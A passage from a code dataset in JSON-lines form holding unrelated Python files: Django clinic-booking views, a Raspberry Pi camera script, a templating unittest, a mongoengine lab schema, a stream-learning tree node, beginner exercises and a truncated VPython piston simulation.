patient_nn=stakeholder_user)\n #handle clinicworkingtime\n physicianclinicworkingtime = PhysicianClinicWorkingTime.objects.filter(clinic=id)\n specialization_list = []\n for doctor in physicianclinicworkingtime :\n stakeholder = get_object_or_404(Stakeholders, national_number=doctor)\n doctor = get_object_or_404(Physician, physician_nn=stakeholder)\n specialization_list.append(PhysicianSpecialization.objects.filter(physician_nn=doctor))\n \n context = {\n 'clinic':clinic,\n 'medicalinstitution':medicalinstitution,\n 'clinicrating':clinicrating,\n 'clinicratingcount':clinicratingcount,\n 'stakeholder_user':stakeholder_user,\n 'physicianclinicworkingtime':physicianclinicworkingtime,\n 'specialization_list':specialization_list,\n \n }\n \n if request.method == 'POST' and request.is_ajax() :\n # handel if review ---------------------------------------\n if 'patient_comment_js' in request.POST:\n current_rate =request.POST.get('rate_js')\n comment = request.POST.get('patient_comment_js')\n if patient_nn :\n rate = ClinicRating.objects.filter(patient_nn=patient_nn).update(rate=current_rate)\t\n if current_rate : \n user_rating = ClinicRating.objects.create(\n patient_nn=patient_nn,\n clinic = clinic,\n patient_comment = comment,\n rate = current_rate\n )\n return HttpResponse()\n\n # if booking ---------------------------------------\n if request.method == 'POST' and request.is_ajax():\n if 'message' in request.POST: \n selected_doctor = request.POST.get('physician_nn')\n selected_doctor_instance = get_object_or_404(Physician, physician_nn=selected_doctor)\n message = request.POST.get('message')\n if message:\n booking = ClinicPatientBooking.objects.create(\n patient_nn = patient_nn,\n physician_nn =selected_doctor_instance,\n booking_date_clinic = \"2020-02-25\",\n clinic = clinic,\n phone = request.POST.get('phone'),\n email = request.POST.get('email'),\n message = message,\n )\n return HttpResponse()\n\n return render(request, 'vezeeta/clinic/Clinic_Details.html',context)\n\n\ndef Hospital_Details(request,id):\n\n if request.is_ajax() and request.method == 'GET':\n # handle clinic fee\n dictOfWords = {}\n get_physician_nn = request.GET.get('code')\n fee=[]\n if PhysicianHospitalWorkingTime.objects.filter(physician_nn=get_physician_nn):\n hospitalFee = PhysicianHospitalWorkingTime.objects.filter(physician_nn=get_physician_nn)\n for i in hospitalFee :\n fee.append(i.fee) \n dictOfFee = { i : fee[i] for i in range(0, len(fee) ) }\n max_1 = max(dictOfFee.items(), key=operator.itemgetter(1))[0]\n fee = {'fees':dictOfFee[max_1]}\n dictOfWords.update(fee)\n\n return JsonResponse(dictOfWords,safe= False)\n\n\n hospital =get_object_or_404(Hospital, hospital=id)\n medicalinstitution = get_object_or_404(MedicalInstitutions, institution_id=id)\n #handle rating\n hospitalrating= None \n hospitalratingcount = \"No\"\n if HospitalRating.objects.filter(hospital=id):\n hospitalrating = HospitalRating.objects.filter(hospital=id)\n hospitalratingcount = HospitalRating.objects.filter(hospital=id).count()\n #handle user as patient \n patient = request.user\n stakeholder_user = get_object_or_404(Stakeholders, national_number=patient)\n patient_nn = get_object_or_404(Patient, patient_nn=stakeholder_user)\n #handle clinicworkingtime\n physicianhospitalworkingtime = PhysicianHospitalWorkingTime.objects.filter(hospital=id)\n specialization_list = []\n for doctor in physicianhospitalworkingtime :\n stakeholder = get_object_or_404(Stakeholders, national_number=doctor)\n doctor = get_object_or_404(Physician, physician_nn=stakeholder)\n specialization_list.append(PhysicianSpecialization.objects.filter(physician_nn=doctor))\n \n context = {\n 'hospital':hospital,\n 'medicalinstitution':medicalinstitution,\n 'hospitalrating':hospitalrating,\n 'hospitalratingcount':hospitalratingcount,\n 'stakeholder_user':stakeholder_user,\n 'physicianhospitalworkingtime':physicianhospitalworkingtime,\n 'specialization_list':specialization_list,\n \n }\n \n if request.method == 'POST' and request.is_ajax() :\n # handel if review ---------------------------------------\n if 'patient_comment_js' in request.POST:\n current_rate =request.POST.get('rate_js')\n comment = request.POST.get('patient_comment_js')\n if patient_nn :\n rate = HospitalRating.objects.filter(patient_nn=patient_nn).update(rate=current_rate) \n if current_rate : \n user_rating = HospitalRating.objects.create(\n patient_nn=patient_nn,\n hospital = hospital,\n patient_comment = comment,\n rate = current_rate\n )\n return HttpResponse()\n\n # if booking ---------------------------------------\n if request.method == 'POST' and request.is_ajax():\n if 'message' in request.POST: \n selected_doctor = request.POST.get('physician_nn')\n selected_doctor_instance = get_object_or_404(Physician, physician_nn=selected_doctor)\n message = request.POST.get('message')\n if message:\n booking = HospitalPatientBooking.objects.create(\n patient_nn = patient_nn,\n physician_nn =selected_doctor_instance,\n booking_date_hospital = \"2020-02-25\",\n hospital = hospital,\n phone = request.POST.get('phone'),\n email = request.POST.get('email'),\n message = message,\n )\n return HttpResponse()\n\n return render(request, 'vezeeta/hospital/Hospital_Details.html',context) ","sub_path":"vezeeta/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":17471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"28515371","text":"import serial\nimport atexit\nimport Image\nimport cPickle as pickle\nimport errno\nimport fnmatch\nimport io\nimport os\nimport os.path\nimport picamera\nimport pygame\nimport stat\nimport threading\nimport time\nimport yuv2rgb\nfrom pygame.locals import *\nfrom subprocess import call\n\nimport RPi.GPIO as GPIO\n\n\n#serial data\nser = serial.Serial('/dev/ttyACM0', 115200)\n\n\n#The trigger button\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(21, GPIO.IN, pull_up_down=GPIO.PUD_UP)\n\nscreenMode = 1 # Current screen mode; default = viewfinder\nscreenModePrior = -1 # Prior screen mode (for detecting changes)\nsettingMode = 4 # Last-used settings mode (default = storage)\nstoreMode = 0 # Storage mode; default = Photos folder\nstoreModePrior = -1 # Prior storage mode (for detecting changes)\nsizeMode = 0 # Image size; default = Large\nfxMode = 0 # Image effect; default = Normal\nisoMode = 0 # ISO settingl default = Auto\niconPath = 'icons' # Subdirectory containing UI bitmaps (PNG format)\nsaveIdx = -1 # Image index for saving (-1 = none set yet)\nloadIdx = -1 # Image index for loading\nscaled = None # pygame Surface w/last-loaded image\n\n\nsizeData = [ # Camera parameters for different size settings\n # Full res Viewfinder Crop window\n [(2592, 1944), (320, 240), (0.0 , 0.0 , 1.0 , 1.0 )], # Large\n [(1920, 1080), (320, 180), (0.1296, 0.2222, 0.7408, 0.5556)], # Med\n [(1440, 1080), (320, 240), (0.2222, 0.2222, 0.5556, 0.5556)]] # Small\n\nisoData = [ # Values for ISO settings [ISO value, indicator X position]\n [ 0, 27], [100, 64], [200, 97], [320, 137],\n [400, 164], [500, 197], [640, 244], [800, 297]]\n\nfxData = [\n 'none', 'sketch', 'gpen', 'pastel', 'watercolor', 'oilpaint', 'hatch',\n 'negative', 'colorswap', 'posterise', 'denoise', 'blur', 'film',\n 'washedout', 'emboss', 'cartoon', 'solarize' ]\n\nicons = [] # This list gets populated at startup\n\n# Initialization -----------------------------------------------------------\n\n# Init framebuffer/touchscreen environment variables\nos.putenv('SDL_VIDEODRIVER', 'fbcon')\nos.putenv('SDL_FBDEV' , '/dev/fb1')\nos.putenv('SDL_MOUSEDRV' , 'TSLIB')\nos.putenv('SDL_MOUSEDEV' , '/dev/input/touchscreen')\n\n# Get user & group IDs for file & folder creation\n# (Want these to be 'pi' or other user, not root)\ns = os.getenv(\"SUDO_UID\")\nuid = int(s) if s else os.getuid()\ns = os.getenv(\"SUDO_GID\")\ngid = int(s) if s else os.getgid()\n\n# Buffers for viewfinder data\nrgb = bytearray(320 * 240 * 3)\nyuv = bytearray(320 * 240 * 3 / 2)\n\n# Init pygame and screen\npygame.init()\npygame.mouse.set_visible(False)\nscreen = pygame.display.set_mode((0,0), pygame.FULLSCREEN)\nmyfont = pygame.font.SysFont(\"monospace\", 30)\n\n# Init camera and set up default values\ncamera = picamera.PiCamera()\natexit.register(camera.close)\ncamera.resolution = sizeData[sizeMode][1]\n#camera.crop = sizeData[sizeMode][2]\ncamera.crop = (0.0, 0.0, 1.0, 1.0)\n# Leave raw format at default YUV, don't touch, don't set to RGB!\n\n#switch case to simulate travel route\n\n\ndef oslo():\n label = myfont.render(\"Oslo\", 1, (255,255,255))\n screen.blit(label, (100, 100))\ndef asker():\n label = myfont.render(\"Asker\", 1, (255,255,255))\n screen.blit(label, (100, 100))\ndef drammen():\n label = myfont.render(\"Drammen\", 1, (255,255,255))\n screen.blit(label, (100, 100))\ndef holmestrand():\n label = myfont.render(\"Holmestrand\", 1, (255,255,255))\n screen.blit(label, (100, 100))\ndef tonsberg():\n label = myfont.render(\"Tonsberg\", 1, (255,255,255))\n screen.blit(label, (100, 100))\ndef sandefjord():\n label = myfont.render(\"Sandefjord\", 1, (255,255,255))\n screen.blit(label, (100, 100))\ndef porsgrunn():\n label = myfont.render(\"Porsgrunn\", 1, (255,255,255))\n screen.blit(label, (100, 100))\ndef arendal():\n label = myfont.render(\"Arendal\", 1, (255,255,255))\n screen.blit(label, (100, 100))\ndef kristiansand():\n label = myfont.render(\"Kristiansand\", 1, (255,255,255))\n screen.blit(label, (100, 100))\n \n#trying range for selecting location\noption = {\n range(0, 99, 1) : oslo,\n range(100, 199, 1) : asker,\n range(200, 299, 1) : drammen,\n range(300, 399, 1) : holmestrand,\n range(400, 499, 1) : tonsberg,\n range(500, 599, 1) : sandefjord,\n range(600, 699, 1) : porsgrunn,\n range(700, 799, 1) : arendal,\n range(800, 899, 1) : kristiansand\n}\n\n# Main loop ----------------------------------------------------------------\ncount = 0\ntmp = 0\nsim = 0\nbackground_surface = pygame.image.load('img2.jpg')\nscaled = pygame.image.load('img2.jpg')\nscaled = pygame.transform.scale(scaled, (320,240))\n#print(scaled.get_height())\nrunning = True\nwhile(running):\n \n #read serial\n read=ser.readline()\n s = map(float,read.split(\",\"))\n t = s[0]\n pot = s[1]\n\n diff = pot/t\n \n #print ('Time')\n #print (t)\n #print ('Position')\n #print (pot)\n #print ('Diff')\n # print (t / pot)\n\n \n #screen.blit(background_surface, (320,240))\n input_state = GPIO.input(21)\n #print(input_state)\n if screenMode < 2: # Playback mode or delete confirmation\n img = scaled # Show last-loaded image\n\n #hard coded, ugly ugly code\n if(pot > 0.0 and pot < 99.0):\n print(pot) \n screen.fill(0)\n oslo()\n print(pot)\n pygame.display.flip()\n elif(pot > 100.0 and pot < 199.0):\n screen.fill(0)\n asker()\n pygame.display.flip()\n elif(pot > 200.0 and pot < 299.0):\n screen.fill(0)\n drammen()\n pygame.display.flip()\n elif(pot > 300.0 and pot < 399.0):\n screen.fill(0)\n holmestrand()\n pygame.display.flip()\n elif(pot > 400.0 and pot < 499.0):\n screen.fill(0)\n tonsberg()\n pygame.display.flip()\n elif(pot > 500.0 and pot < 599.0):\n screen.fill(0)\n sandefjord()\n pygame.display.flip()\n elif(pot > 600.0 and pot < 699.0):\n screen.fill(0)\n porsgrunn()\n pygame.display.flip()\n elif(pot > 700.0 and pot < 799.0):\n screen.fill(0)\n arendal()\n pygame.display.flip()\n else:\n screen.fill(0)\n kristiansand()\n pygame.display.flip()\n\n \n\n #if((pot==0) or (pot==100) or (pot ==200) or (pot == 300) or (pot==400) or (pot==500) or (pot==600) or (pot==700) or (pot==800)):\n # screen.fill(0)\n #option[pot]()\n #screen.blit(img,\n #((320 - img.get_width() ) / 2,\n #(240 - img.get_height()) / 2))\n \n #pygame.display.flip()\n while(input_state == False):\n screenMode = 3\n \n # Refresh display\n if screenMode >= 3: # Viewfinder or settings modes\n stream = io.BytesIO() # Capture into in-memory stream\n camera.capture(stream, use_video_port=True, format='raw')\n stream.seek(0)\n stream.readinto(yuv) # stream -> YUV buffer\n stream.close()\n yuv2rgb.convert(yuv, rgb, sizeData[sizeMode][1][0],\n sizeData[sizeMode][1][1])\n img = pygame.image.frombuffer(rgb[0:\n (sizeData[sizeMode][1][0] * sizeData[sizeMode][1][1] * 3)],\n sizeData[sizeMode][1], 'RGB')\n elif screenMode < 2: # Playback mode or delete confirmation\n img = scaled # Show last-loaded image\n #print(img.get_height())\n else: # 'No Photos' mode\n img = None # You get nothing, good day sir\n\n if img is None: # Letterbox, clear background\n screen.fill(0)\n if img:\n screen.blit(img,\n ((320 - img.get_width() ) / 2,\n (240 - img.get_height()) / 2))\n \n #tmp = tmp + 1;\n #if (tmp > 50):\n # screenMode = 3\n \n\n # Overlay buttons on display and update\n \n print('Button pressed!')\n #print(input_state)\n #camera.capture('%s.jpg' % time.time())\n \n pygame.display.update()\n\n \n screenModePrior = screenMode\n count = count + 1\n if (count > 50):\n print('Button released')\n camera.capture('img/%s.jpg' % pot)\n running = True\n input_state = True\n screen.fill(0)\n for event in pygame.event.get():\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_ESCAPE:\n running = False\n break\n elif event.type == pygame.QUIT:\n running = False\n break\n if not running:\n break\n \n \n \n \n\n\n\n\n","sub_path":"RPI/py/cam/cam4.py","file_name":"cam4.py","file_ext":"py","file_size_in_byte":8137,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"73680758","text":"import os\nimport tempfile\nimport unittest\n\nfrom j2skaffold import templating\n\n\nclass TemplatingTest(unittest.TestCase):\n\n def _test_render(self, input, output):\n\n with tempfile.NamedTemporaryFile() as f:\n os.chdir(os.path.dirname(f.name))\n f.write(input)\n f.flush()\n out_name = f.name + '.yaml'\n with templating.render(\n os.path.basename(f.name), out_name, {'cmd': 'test'}\n )['manager']:\n with open(out_name, 'r') as f_out:\n result = f_out.read()\n self.assertEqual(result, output)\n self.assertFalse(os.path.exists(out_name))\n\n def test_simple_render(self):\n self._test_render(b'foo: {{ cmd }}', 'foo: test')\n","sub_path":"j2skaffold/tests/test_templating.py","file_name":"test_templating.py","file_ext":"py","file_size_in_byte":769,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"103881359","text":"import datetime\nimport functools\nimport io\nimport logging\nimport lzma\nimport os\nimport pickle\nimport tokenize\n\nimport gridfs\nfrom mongoengine import (BooleanField, ComplexDateTimeField, DictField,\n Document, DynamicDocument, EmailField, FileField,\n ImageField, IntField, ListField, ReferenceField,\n StringField, signals)\nfrom mongoengine.connection import get_db\nfrom notebook.auth.security import passwd, passwd_check\n\nlog = logging.getLogger(__name__)\nlog.addHandler(logging.NullHandler())\n\n\ndef beforeSaveFile(fname):\n '''makesure the path exists before save file'''\n dirname = os.path.dirname(fname)\n if not os.path.exists(dirname):\n os.makedirs(dirname)\n\n\ndef now():\n return datetime.datetime.now()\n\n\ndef to_pickle(obj):\n buff = pickle.dumps(obj, protocol=pickle.HIGHEST_PROTOCOL)\n cbuff = lzma.compress(buff, format=lzma.FORMAT_XZ)\n return io.BytesIO(cbuff)\n\n\ndef from_pickle(buff):\n return pickle.loads(lzma.decompress(buff.read(), format=lzma.FORMAT_XZ))\n\n\ndef handler(event):\n \"\"\"Signal decorator to allow use of callback functions as class decorators.\"\"\"\n\n def decorator(fn):\n def apply(cls):\n event.connect(fn, sender=cls)\n return cls\n\n fn.apply = apply\n return fn\n\n return decorator\n\n\n@handler(signals.pre_save)\ndef update_modified(sender, document, **kwargs):\n if kwargs.get('finished', False):\n document.finished_time = now()\n document.modified_time = now()\n\n\n@handler(signals.pre_delete)\ndef delete_children(sender, document):\n for attrname in ['datafield']:\n attr = getattr(document, attrname, None)\n if attr is not None:\n attr.delete()\n # if hasattr(document, 'datafield') and document.datafield is not None:\n # document.datafield.delete()\n for child in document.children:\n child.delete()\n\n\n@update_modified.apply\n@delete_children.apply\nclass Record(Document):\n title = StringField(max_length=50)\n comment = StringField()\n created_time = ComplexDateTimeField(default=now)\n finished_time = ComplexDateTimeField(default=now)\n modified_time = ComplexDateTimeField(default=now)\n hidden = BooleanField(default=False)\n app = ReferenceField('Application')\n user = ReferenceField('User')\n project = ReferenceField('Project')\n samples = ListField(ReferenceField('Sample'))\n children = ListField(ReferenceField('Record'))\n tags = ListField(StringField(max_length=50))\n settings = DictField()\n rc = DictField()\n params = DictField()\n datafield = FileField(collection_name='data')\n\n def __repr__(self):\n return 'Record(title=%s, finished_time=%s, params=%s)' % (\n self.title, self.finished_time, self.params)\n\n @property\n @functools.lru_cache(maxsize=1)\n def data(self):\n return from_pickle(self.datafield)\n\n @data.setter\n def data(self, obj):\n if self.datafield is None:\n self.datafield.put(\n to_pickle(obj), content_type='application/octet-stream')\n else:\n self.datafield.replace(\n to_pickle(obj), content_type='application/octet-stream')\n # self.save()\n\n\n@update_modified.apply\nclass Report(DynamicDocument):\n title = StringField(max_length=50)\n records = ListField(ReferenceField('Record'))\n created_time = ComplexDateTimeField(default=now)\n modified_time = ComplexDateTimeField(default=now)\n\n\nclass Project(Document):\n name = StringField(max_length=50)\n created_time = ComplexDateTimeField(default=now)\n comment = StringField()\n\n @property\n def records(self):\n return Record.objects(project=self)\n\n\nclass Sample(Document):\n name = StringField(max_length=50)\n discription = StringField()\n images = ListField(FileField(collection_name='images'))\n\n @property\n def _imageFS(self):\n return gridfs.GridFS(get_db(), collection='images')\n\n @property\n def collection(self):\n return get_db()[self._get_collection_name()]\n\n @property\n def DBObject(self):\n return self.collection.find_one({'_id': self.id})\n\n def appendFile(self, data, filename, content_type):\n fid = self._imageFS.put(\n data, filename=filename, version=1, content_type=content_type)\n if self.id is None:\n self.save()\n files = self.DBObject['images']\n files.append(fid)\n self.collection.update({'_id': self.id}, {\"$set\": {'images': files}})\n\n def replaceFile(self, data, filename, content_type):\n files = self.DBObject['images']\n filenames = [f.filename for f in self.files]\n if not filename in filenames:\n return\n i = filenames.index(filename)\n oldfid = files[i]\n if self._imageFS.get(oldfid).read() == data:\n return\n files[i] = self._imageFS.put(\n data,\n filename=filename,\n version=self.files[i].version + 1,\n content_type=content_type)\n self.collection.update({'_id': self.id}, {\"$set\": {'images': files}})\n self._imageFS.delete(oldfid)\n\n\nclass User(Document):\n name = StringField(max_length=50, unique=True)\n email = EmailField(unique=True)\n fullname = StringField(max_length=50)\n hashed_passphrase = StringField(max_length=84)\n roles = ListField(ReferenceField('Role'))\n\n @property\n def password(self):\n return self.hashed_passphrase\n\n @password.setter\n def password(self, passphrase):\n self.hashed_passphrase = passwd(passphrase, algorithm='sha256')\n\n def check_password(self, passphrase):\n return passwd_check(self.hashed_passphrase, passphrase)\n\n def __repr__(self):\n return \"User(name='%s', email='%s', fullname='%s')\" % (self.name,\n self.email,\n self.fullname)\n\n\nclass Role(Document):\n name = StringField()\n\n\nclass CodeSnippet(Document):\n text = StringField()\n filename = StringField()\n author = ReferenceField('User')\n created_time = ComplexDateTimeField(default=now)\n\n meta = {\n 'indexes': [\n '#text', # hashed index\n ]\n }\n\n def __repr__(self):\n return \"< CodeSnippet(id='%s', author='%s') >\" % (self.id,\n self.author.name)\n\n\ndef makeUniqueCodeSnippet(text, author):\n c = CodeSnippet.objects(text=text).first()\n if c is None:\n c = CodeSnippet(text=text, author=author)\n c.save()\n return c\n\n\nclass Module(Document):\n fullname = StringField()\n author = ReferenceField('User')\n is_package = BooleanField(default=False)\n source = ReferenceField('CodeSnippet')\n modules = ListField(ReferenceField('Module'))\n created_time = ComplexDateTimeField(default=now)\n\n def __repr__(self):\n return \"< Module(id='%s', fullname='%s') >\" % (self.id, self.fullname)\n\n\ndef getModuleByFullname(fullname, before=None):\n before = now() if before is None else before\n return Module.objects(\n fullname=fullname,\n created_time__lt=before).order_by('-created_time').first()\n\n\ndef makeUniqueModule(fullname, author, codeSnippet, sub_modules=[]):\n m = Module(\n fullname=fullname,\n author=author,\n is_package=False if len(sub_modules) == 0 else True,\n source=codeSnippet,\n modules=sub_modules)\n [mod.save() for mod in m.modules if mod.id is None]\n mlast = Module.objects(fullname=fullname).order_by('-created_time').first()\n if mlast is not None:\n if mlast.fullname == m.fullname and mlast.source == m.source and mlast.modules == m.modules:\n return mlast\n return m\n\n\ndef saveModule(fullname, text, author):\n m = makeUniqueModule(fullname, author, makeUniqueCodeSnippet(text, author))\n if m.id is None:\n m.save()\n return m\n\n\ndef savePackage(fullname, author, init=None, modules=[]):\n m = makeUniqueModule(fullname, author,\n makeUniqueCodeSnippet(init, author)\n if init is not None else None, modules)\n if m.id is None:\n m.save()\n return m\n\n\ndef saveModuleFile(path, fullname=None, author=None):\n log.debug('save module %r as %r', path, fullname)\n name, ext = os.path.splitext(os.path.basename(path))\n if fullname is None:\n fullname = name\n if ext == '.py':\n with tokenize.open(path) as f:\n return saveModule(fullname, f.read(), author)\n else:\n return None\n\n\ndef savePackageFile(path, fullname=None, author=None):\n log.debug('save package %r as %r', path, fullname)\n if os.path.isfile(path):\n return saveModuleFile(path, fullname, author)\n elif os.path.isdir(path):\n submods = []\n init = None\n for file in os.listdir(path):\n subpath = os.path.join(path, file)\n name, _ = os.path.splitext(file)\n if os.path.isdir(subpath):\n submod = savePackageFile(subpath, '%s.%s' % (fullname, name), author)\n if submod is not None:\n submods.append(submod)\n elif os.path.isfile(subpath):\n if file == '__init__.py':\n with tokenize.open(subpath) as f:\n init = f.read()\n else:\n submods.append(\n saveModuleFile(subpath, '%s.%s' % (fullname, name),\n author))\n return savePackage(fullname, author, init, submods)\n else:\n pass\n\n\n@update_modified.apply\nclass Notebook(Document):\n name = StringField()\n author = ReferenceField('User')\n created_time = ComplexDateTimeField(default=now)\n modified_time = ComplexDateTimeField(default=now)\n inputCells = ListField(ReferenceField('CodeSnippet'))\n\n\nclass Application(Document):\n name = StringField(max_length=50)\n author = ReferenceField('User')\n version = IntField(default=0)\n version_tag = StringField(max_length=50)\n created_time = ComplexDateTimeField(default=now)\n discription = StringField()\n module = ReferenceField('Module')\n\n @property\n def source(self):\n if self.module is not None and self.module.source is not None:\n return self.module.source.text\n else:\n return ''\n\n def __str__(self):\n return 'App %s %s.%d by (%s, %s)' % (self.name,\n self.version_tag, self.version, self.author.fullname,\n self.created_time.strftime('%Y-%m-%d %H:%M:%S'))\n\n\ndef getApplication(name='', version=None, id=None, **kwds):\n kwds['name'] = name\n if id is not None:\n kwds = {'id': id}\n elif isinstance(version, str):\n if len(version.split('.')) == 3:\n kwds['version'] = int(version.split('.')[2])\n else:\n kwds['version_tag__istartswith'] = version\n elif isinstance(version, int):\n kwds['version'] = version\n return Application.objects(**kwds).order_by('-version').first()\n\n\ndef saveApplication(name,\n source,\n author,\n discription='',\n moduleName=None,\n version=None):\n codeSnippet = makeUniqueCodeSnippet(source, author)\n\n if moduleName is None:\n fullname = 'lab.apps.codeID%s' % codeSnippet.id\n else:\n fullname = moduleName\n\n module = makeUniqueModule(fullname, author, codeSnippet)\n if module.id is None:\n module.save()\n appdata = Application.objects(name=name, module=module).first()\n if appdata is None:\n lastapp = Application.objects(name=name).order_by('-version').first()\n appdata = Application(\n name=name,\n author=author,\n discription=discription,\n version=lastapp.version + 1 if lastapp is not None else 1,\n version_tag=lastapp.version_tag if lastapp is not None else 'v0.0',\n module=module)\n appdata.save()\n\n if version is not None:\n appdata.version_tag = version\n appdata.save()\n\n\ndef listApplication():\n ret = {}\n for app in Application.objects().order_by('-version'):\n if app.name not in ret.keys():\n ret[app.name] = app\n return ret\n\n\n@update_modified.apply\nclass Driver(Document):\n name = StringField(max_length=50, unique=True)\n version = IntField(default=0)\n created_time = ComplexDateTimeField(default=now)\n modified_time = ComplexDateTimeField(default=now)\n module = ReferenceField('Module')\n\n\ndef uploadDriver(path, author=None):\n module_name, _ = os.path.splitext(os.path.basename(path))\n fullname = 'lab.drivers.%s' % module_name\n module = savePackageFile(path, fullname, author)\n driver = Driver.objects(name=module_name).order_by('-version').first()\n if driver is None:\n driver = Driver(name=module_name, version=1, module=module)\n else:\n driver.module = module\n driver.version += 1\n driver.save()\n\n\nclass Instrument(Document):\n name = StringField(max_length=50, unique=True)\n host = StringField()\n address = StringField()\n driver = ReferenceField('Driver')\n created_time = ComplexDateTimeField(default=now)\n\n\ndef setInstrument(name, host, address, driver):\n driver = Driver.objects(name=driver).order_by('-version').first()\n if driver is None:\n raise Exception('Driver %r not exists, upload it first.' % driver)\n ins = Instrument.objects(name=name).first()\n if ins is None:\n ins = Instrument(name=name, host=host, address=address, driver=driver)\n else:\n ins.host = host\n ins.address = address\n ins.driver = driver\n ins.save()\n\n\ndef getInstrumentByName(name):\n return Instrument.objects(name=name).first()\n","sub_path":"lab/db/_schema.py","file_name":"_schema.py","file_ext":"py","file_size_in_byte":13874,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"422762635","text":"import numpy as np\nfrom skmultiflow.trees.attribute_split_suggestion import AttributeSplitSuggestion\nfrom skmultiflow.trees.nodes import InactiveLearningNode\n\n\nclass AnyTimeInactiveLearningNode(InactiveLearningNode):\n \"\"\" Inactive Learning node for the Hoeffding Anytime Tree.\n\n Parameters\n ----------\n initial_class_observations: dict (class_value, weight) or None\n Initial class observations\n\n \"\"\"\n\n def __init__(self, initial_class_observations=None):\n \"\"\" InactiveLearningNode class constructor. \"\"\"\n super().__init__(initial_class_observations)\n\n # Override\n def get_best_split_suggestions(self, criterion, ht):\n \"\"\" Find possible split candidates without taking into account the\n null split.\n\n Parameters\n ----------\n criterion: SplitCriterion\n The splitting criterion to be used.\n ht: HoeffdingTreeClassifier\n Hoeffding Tree.\n\n Returns\n -------\n list\n Split candidates.\n\n \"\"\"\n best_suggestions = []\n pre_split_dist = self._observed_class_distribution\n\n for i, obs in self._attribute_observers.items():\n best_suggestion = obs.get_best_evaluated_split_suggestion(\n criterion, pre_split_dist, i, ht.binary_split\n )\n if best_suggestion is not None:\n best_suggestions.append(best_suggestion)\n\n return best_suggestions\n\n def get_null_split(self, criterion):\n \"\"\" Compute the null split (don't split).\n\n Parameters\n ----------\n criterion: SplitCriterion\n The splitting criterion to be used.\n\n\n Returns\n -------\n list\n Split candidates.\n\n \"\"\"\n\n pre_split_dist = self._observed_class_distribution\n\n null_split = AttributeSplitSuggestion(\n None, [{}], criterion.get_merit_of_split(pre_split_dist, [pre_split_dist]))\n return null_split\n\n @staticmethod\n def count_nodes():\n \"\"\" Calculate the number of split node and leaf starting from this node\n as a root.\n\n Returns\n -------\n list[int int]\n [number of split node, number of leaf node].\n\n \"\"\"\n return np.array([0, 1])\n","sub_path":"src/skmultiflow/trees/nodes/anytime_inactive_learning_node.py","file_name":"anytime_inactive_learning_node.py","file_ext":"py","file_size_in_byte":2282,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"638056617","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# In[1]:\n\n\n#qst 1\nn1 = int(input(\"entrez un premier nombre: \"))\nn2 = int(input(\"entrez un deuxième nombre: \"))\nn3 = int(input(\"entrez un troisème nombre: \"))\nliste = [n1,n2,n3]\nm = max(liste)\nprint(\"Le plus grand nombre de la liste est:\", m)\n\n\n# In[2]:\n\n\n# qst 2\ndef calculation(a,b):\n c = a + b\n d = a - b\n return c,d\nprint(calculation(40,10))\n\n\n# In[3]:\n\n\n# qst 3\nimport numpy as np\nliste = [0,1,2,3,4,5,6,7,8,9]\nbase = 0\nbase2 = 1\ndef add(liste):\n adt = sum(liste)\n return adt\nprint(\"addition:\",add(liste)) # ajouter autant de nombres voulus à la liste\n\ndef prod(liste):\n pd = np.prod(liste)\n return pd\nprint(\"multiplication:\",prod(liste))\n\nfor i in liste:\n if i%2 == 0:\n base += i\n else:\n base2 *= i\nprint(\"l'addition des nombres pairs:\",base)\nprint(\"la multiuplication des nombres pairs:\",base2)\n\n\n# In[4]:\n\n\n# qst 4\ncolors = \"-\" .join(sorted(\"green-red-yellow-black-white\".split(\"-\")))\nprint(colors)\n\n\n# In[5]:\n\n\n# qst 5 (bonus)\nfrom math import *\nC = 50\nH = 30\nD = input(\"entrez des valeurs en les sépérant avec une virgule:\")\nD = str(D)\nliste = D.split(\",\")\nfor i in liste:\n i = float(i)\n Q = sqrt((2*C*i)/H)\n Q = int(Q)\n print(Q)\n\n\n# In[ ]:\n\n\n\n\n","sub_path":"checkpoint4.py","file_name":"checkpoint4.py","file_ext":"py","file_size_in_byte":1251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"627671606","text":"from vpython import *\nimport numpy as np\nimport math\n\nclass obj: pass\nN=10000\nm = 4E-3/6E23,#31E-12*10\nL2=0.15/2#((24.4E-3/(6E23))*N)**(1/3.0)/2 + size\nL1=L2/2#0.5*L2\nsize=L1/25\nfreq=7238\namplitude=3*L1\nt=0\ndt=0.000001\n#bondlen_N2=145E-3\nk, T = 1.38E-23, 298.0\nvrms = 550#(2*k*1.5*T/m)**0.5\n\n#bondlen_N2,bondlen_O2=0.001,0.001\nscene = canvas(width=500, height=500, background=vector(0.2,0.2,0), align = 'left')\nfloor=obj()\nfloor.pos=vec(0,2*L1,0)\nfloor.length=2*L1\nfloor.height=L2/10\nfloor.width=2*L1\n\nc = curve() \ngraphAxis = curve(color = color.red)\ngraphLabel = label(text = 'Density', box = False, height = 11)\n\nrunning = True \n \ngraphAxis.clear()\ngraphAxis.append( pos = vec(0, 2*L1, 0) )\ngraphAxis.append( pos = vec(0, -2*L2, 0) )\ngraphLabel.pos = vec(0, ((2*L1+2*L2)/2) + floor.height, 0)\n\ndef flipRunning():\n global running \n if (running == True):\n running = False\n pause.text = 'Resume' \n else:\n running = True \n pause.text = 'Pause'\npause = button(text = 'Pause', bind = flipRunning)\n\ndef setFrequency(freq):\n freq = freqSlider.value\n\nscene.append_to_caption('\\n\\nPiston frequency\\n') \n\nfreqSlider = slider(min=0, max=15000, value=7238, bind=setFrequency)\n \ndef setAmplitude(amplitude):\n amplitude = amplitudeSlider.value\n\nscene.append_to_caption('\\n\\nPiston amplitude\\n') \namplitudeSlider = slider(min=0, max=L1, value=0.3*L1, bind=setAmplitude)\n\nscene.append_to_caption('\\n\\nGraph bins\\n') \nbinSlider = slider(min = 2, max = 100, value = 50, bind = bin)\ndef bin(numBins):\n numBins = 